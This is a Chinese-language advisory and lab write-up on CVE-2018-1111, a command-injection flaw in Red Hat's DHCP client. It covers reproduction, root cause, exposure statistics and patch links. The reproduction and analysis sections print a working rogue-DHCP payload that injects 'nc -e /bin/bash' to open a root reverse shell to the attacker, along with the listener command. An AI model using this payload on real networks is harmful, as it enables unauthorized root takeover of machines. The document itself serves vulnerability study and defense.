一、 事件背景
Red Hat是全球最大的开源技术厂家,其产品Red Hat Linux也是全世界应用最广泛的Linux。DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)是一个局域网的网络协议,使用UDP协议工作, 主要用途是给内部网络或网络服务供应商自动分配IP地址。
近日,国家信息安全漏洞共享平台(CNVD)收录了一条关于Red Hat DHCP客户端命令执行漏洞(CNVD-2018-09541,对应CVE-2018-1111)。攻击者可以通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。
相关链接:
http://www.cnvd.org.cn/flaw/show/CNVD-2018-09541
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111
二、 漏洞复现
本地利用虚拟环境复现,攻击者:Kali Linux,受害者:CentOS 7。
1. 两台虚拟机的网络适配器都需要设置为仅主机模式;
2. 停用主机模式的DHCP服务。
kali设置成静态地址,这里IP地址设置成192.168.164.5,网关就是本机ip。
接着开始配置kali上的DHCP服务器,这里使用DNSmasq工具。在kali中创建一个dnsmasq.conf配置文件,内容如下:
注释:
dhcp-range: 表示要分配给客户机的ip地址范围和租约时间;
dhcp-option: 表示指定给DHCP 客户端的选项信息;
192.168.164.5:设置为kali本地网卡的ip地址;
3: 设置网关地址选项;
6: 设置DNS服务器地址选项;
log-facility: 表示日志记录器。
修改好dnsmasq.conf配置文件之后,还不能直接启动dnsmasq服务。命令执行payload 如下:dnsmasq -dC dnsmasq.conf --dhcp-option="252,x'&nc -e/bin/bash 192.168.164.5 7777 #"
命令执行的效果是通过nc反弹shell到攻击机的7777端口,所以需要在 kali中开启nc端口监听,命令如下:nc-l -p 7777 –v
然后在CentOS上重启网络服务,获取DHCP服务器下发的IP地址,可以看到获取到的IP地址为192.168.164.19。
再回到kali上查看反弹结果,并执行id,whoami,dir等命令,通过返回的结果显示,已经成功获取到被攻击机的root权限。
三、 漏洞分析及危害
1) 漏洞分析
此漏洞产生于Red Hat EnterpriseLinux的DHCP客户端软件包中所包含的NetworkManager集成脚本中,该软件包被配置为使用DHCP协议来获取网络配置。
Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient或/etc/NetworkManager/dispatcher.d/10-dhclient用于NetworkManager组件,每当NetworkManager从DHCP服务器收到DHCP响应时执行该组件。如下相关的一段代码:
使用单引号使参数值逃逸成功,导致了命令执行,payload如下:
--dhcp-option="252,x'&nc-e /bin/bash ip port #"
2) 漏洞危害
当系统使用NetworkManager并配置了DHCP协议时,攻击者可以利用一个恶意的DHCP服务器或者在本地网络伪造DHCP服务器发送响应包,攻击红帽系统,获取受害者系统的root权限并执行任意命令。
由于在基于DHCP的环境中,NetworkManager是默认启用的,并且漏洞的payload利用也很简单,所以漏洞影响较为严重。
四、 数据分析
1) 世界分布
世界范围内使用Red Hat系统的服务器约为148.8万台。其中,排名前五的国家分别为:美国、中国、加拿大、英国、日本。
下图为世界范围内使用Red Hat系统的服务器分布情况:
图1、世界分布图
下图为世界范围内使用Red Hat系统的服务器数量排名前十的国家:
图2、世界排名前十
2) 国内分布
中国境内使用Red Hat系统的服务器数量大约为30万台。其中,排名前五的省份或地区分别为:辽宁省、香港特别行政区、北京市、广东省、台湾省。
下图为中国范围内使用Red Hat系统的服务器分布情况:
图3、国内分布图
下图为中国范围内使用Red Hat系统的服务器数量排名前十省份或地区:
图4、国内排名前十
下图为使用Red Hat系统的服务器的国内运营商排名:
图5、国内运营商排名前十
五、 防范建议
1) 漏洞影响版本
Red Hat Enterprise Linux Server6
Red Hat Enterprise Linux Server7
CentOS 6
CentOS 7
2) 修复建议
目前,厂商已经发布该漏洞的补丁,用户可在Red Hat官网上获得下载,相关链接如下:
https://access.redhat.com/security/vulnerabilities/3442151